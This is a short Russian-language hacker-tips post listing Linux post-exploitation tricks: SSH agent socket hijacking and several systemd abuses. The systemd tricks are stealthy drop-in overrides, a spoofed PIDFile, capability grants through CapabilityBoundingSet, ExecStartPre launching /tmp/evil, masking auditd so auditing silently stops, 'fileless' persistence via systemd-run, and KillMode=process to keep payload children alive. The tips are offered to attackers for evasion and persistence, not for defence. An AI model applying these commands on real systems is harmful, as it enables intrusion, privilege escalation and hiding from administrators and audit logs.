Рубрика На заметку $USERNAME@hacker.wtf - part 5
*
SSH agent hijacking

Если есть доступ к сокету

SSH_AUTH_SOCK=/tmp/agent.sock

То можно использовать ключ жертвы и знание приватного ключа - тут вообще не нужно.
*
*
*
systemD - ExecStart без правки файла

systemctl edit nginx

cоздаёт drop-in override автоматически. Это значит что хацкер может изменить поведение сервиса. Тут важно то что основной systemD unit останется нетронутым - file monitoring может ничего не заметить.
*
*
*
systemD - Оскорбительный Type
Если сервис:

Type=forking

Можно указать "свой веселый" PIDFile или запустить другой процесс.
А Systemd будет считать его самым легитимным на свете.
*
*
*
systemD - CapabilityBoundingSet
В unit можно задать:

CapabilityBoundingSet=CAP_SYS_PTRACE

И даже если процесс не root — он получит capability ! Systemd может выдает привилегии куда веселее, чем дядька sudo.

Вообще systemD сундук чудес, всего и не упомнить:
#
DynamicUser=yes # =временный user без записи в /etc/passwd

ExecStartPre=/tmp/evil # если основной бинарь чист, то до его старта стартанем shell

systemctl mask auditd # cоздаётся symlink на /dev/null = сервис не запускается, админ думает, что все ОК, а на самом деле service IS DEAD

systemd-run --unit=evil --on-boot=5m /tmp/evil # получим рантайм unit, такой fileless persistence

KillMode=process # systemD грохнет только основной PID, а вот дочерние процессы могут выжить, ну а вних уже payload


#РубрикаНаЗаметкуХакеру